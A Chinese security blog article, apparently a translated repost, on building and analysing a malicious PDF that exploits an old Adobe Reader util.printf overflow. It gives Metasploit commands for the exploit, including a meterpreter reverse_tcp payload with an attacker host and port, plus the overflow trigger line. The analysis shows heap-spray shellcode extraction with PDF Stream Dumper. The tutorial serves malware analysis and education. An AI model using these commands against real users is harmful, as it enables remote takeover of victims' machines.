如何从受感染的PDF文件中提取Payload?


发布人:admin分类:网络安全浏览量:50发布时间:2017-12-12

本文仅作为研究参考!

受感染的PDF文件近乎是拥有特权般影响用户,因为这个文档格式十分普遍几乎人人都在使用。此外,其可利用许多的阅读器漏洞隐形且姿势十分优雅的加载恶意软件。

在本文,我将向大家展示制作一个使用自定义Shellcode恶意PDF,触发漏洞执行payload是有多么的简单。当然还会分析恶意PDF,来学习如何存储payload,以及如何提起它

PDF格式

PDF是由Adobe公司定义的面向对象的格式,这种格式描述了一种文档组织,以及保存依赖关系所需要的文档(字体,图片…)这些对象作为数据流,大部分时间编码或者被压缩,存储在文档中。下面是一份经典PDF文件的概述图,如需更多了解可以访问Adobe指南

创造受感染PDF

接下来我们会使用metasploit创建一份虚假PDF文件,其中包含一个exploit,以及一个自定义payload(代码执行)。这个exploit只针对一个特殊版本的Adobe Reader,所以我们需要找到这个版本的Adobe Reader阅读器(感谢这家神器的站点oldapps),接着将其安装到目标机器上。

首先,返回正题制作PDF文件。制作这个受感染PDF只需在机器上打开计算器(calc.exe),打开一个metasploit控制台和类型:

use exploit/windows/fileformat/adobe_utilprintf
set FILENAME malicious.pdf
set PAYLOAD windows/exec
set CMD calc.exe
show options
exploit

将刚创建的文件(/home/osboxes/.msf4/local/malicious.pdf)复制到一个网盘上,接着你需要让目标机器去下载。

执行受感染的PDF

在目标机器下载并安装一个存在漏洞的Adobe Reader版本,metasploit提示我们版本应该低于8.1.2,于是我选择安装8.1.1版本

安装完成后执行malicious.pdf文件,你应该可以看到Adobe Reader进程打开了计算器,这就是exploit

我制作的另一个PDF在稍微修改了下payload

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.29
set LPORT 4455

以下为结果,Adobe Reader存在一个后门(反向Shell)

 

分析受感染PDF

玩够了,接着我们就来分析下恶意PDF中到底有些什么,并尝试提取其中的恶意payload(仍然是calc.exe)。

首先我们需要一款名为PDF Stream Dumper的工具,将恶意PDF加载进去。

使用“Exploit Scan”菜单检测到exploit就可以开始了。

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

事实上,在stream 6中隐藏了一个exploit。

从头开始:当在PDF中搜寻exploit,我们大部分时间遇到的都是由一个JavaScript创建的heap spray攻击。将payload push到heap上,一旦触发漏洞就执行。

heap spray攻击:
Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行

如果你打开Stream 1,你可以看到:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

接着将其移动到stream 5:

/Type/Action/S/JavaScript/JS 6 0 R

执行位于stream 6的JavaScript,这个数据流显示的纯JavaScript,是时候打开“Javascript_UI”菜单了。我们立刻获得一大串16进制编码,并将一个变量push到heap spray,以下为我们的payload:

幸运的是,我们有工具可以操作并了解其都做了什么。选择payload(引号中的内容),打开“Shellcode_analysis”菜单,接着选择“scDbg – LibEmu Emulation”。你可以从新弹窗的窗口中看到下面内容

LibEmu是一个可以模拟处理器的库,它可以将汇编代码行为信息告知你,单击“Launch”按钮你就知道了:

在这里,你可以清楚的看到calc.exe窗口弹出后立马退出。

接着,我们对另外一个恶意PDF文件做同样的事

Shellcode加载库需要manipulate接口(ws2_32.dll),并尝试连接C&C.

对于exploit本身我没有说的太细,其位于JavaScript代码的末尾,其是利用printf函数的一个缓冲区溢出来执行任意代码,下面为我们的heap-sprayed shellcode:

util.printf("%45000.45000f", 0);

参考链接

– http://www.sans.org/reading-room/whitepapers/malicious/owned-malicious-pdf-analysis-33443
– http://www.oldapps.com/adobe_reader.php
– http://contagiodump.blogspot.fr/2010/08/malicious-documents-archive-for.html
– http://contagiodump.blogspot.fr/2013/03/16800-clean-and-11960-malicious-files.html
– http://eternal-todo.com/blog/cve-2011-2462-exploit-analysis-peepdf
– http://blog.9bplus.com/analyzing-cve-2011-2462/
– https://www.fireeye.com/blog/threat-research/2012/07/analysis-of-a-different-pdf-malware.html
– http://resources.infosecinstitute.com/analyzing-malicious-pdf/

* 参考来源:adlice,编译/鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)



被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21242225(PV) 页面执行时间:80.395(MS)
  • xml
  • 网站地图